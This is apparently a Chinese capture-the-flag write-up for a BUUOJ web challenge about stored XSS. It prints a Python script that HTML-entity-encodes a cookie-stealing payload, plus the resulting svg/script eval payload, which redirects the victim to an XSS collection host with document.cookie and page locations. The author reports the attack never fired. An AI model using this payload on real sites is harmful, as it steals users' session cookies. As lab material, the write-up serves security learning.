前言
题解
给了xss平台,明示这题是xss了。
这种措辞,暗示了是xss。
投票里的英文单引号会变成中文单引号
先到xss平台拿xss代码
然后使用HTML Markup进行转码绕过
(new Image()).src
改为window.location.href
s = '''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=gHkxCN&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in s:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
<svg><script>eval("(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=gHkxCN&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();")</script>
生成的payload打进去,发现页面自动跳转,说明有效
页面地址
http://3ab0873a-a1d0-455d-a996-07620bdb753e.node4.buuoj.cn:81/post/3eb90a2d54bdfadfcfafe59834b8e26a.html
需要改为
http://web.node4.buuoj.cn:81/post/3eb90a2d54bdfadfcfafe59834b8e26a.html
放到这里,然后跑一下md5
之前单线程脚本太慢了,写了个多线程的脚本跑。
试了很久,xss都没触发,累了,明天再做吧
第二天又试了下,还是不行,无语了。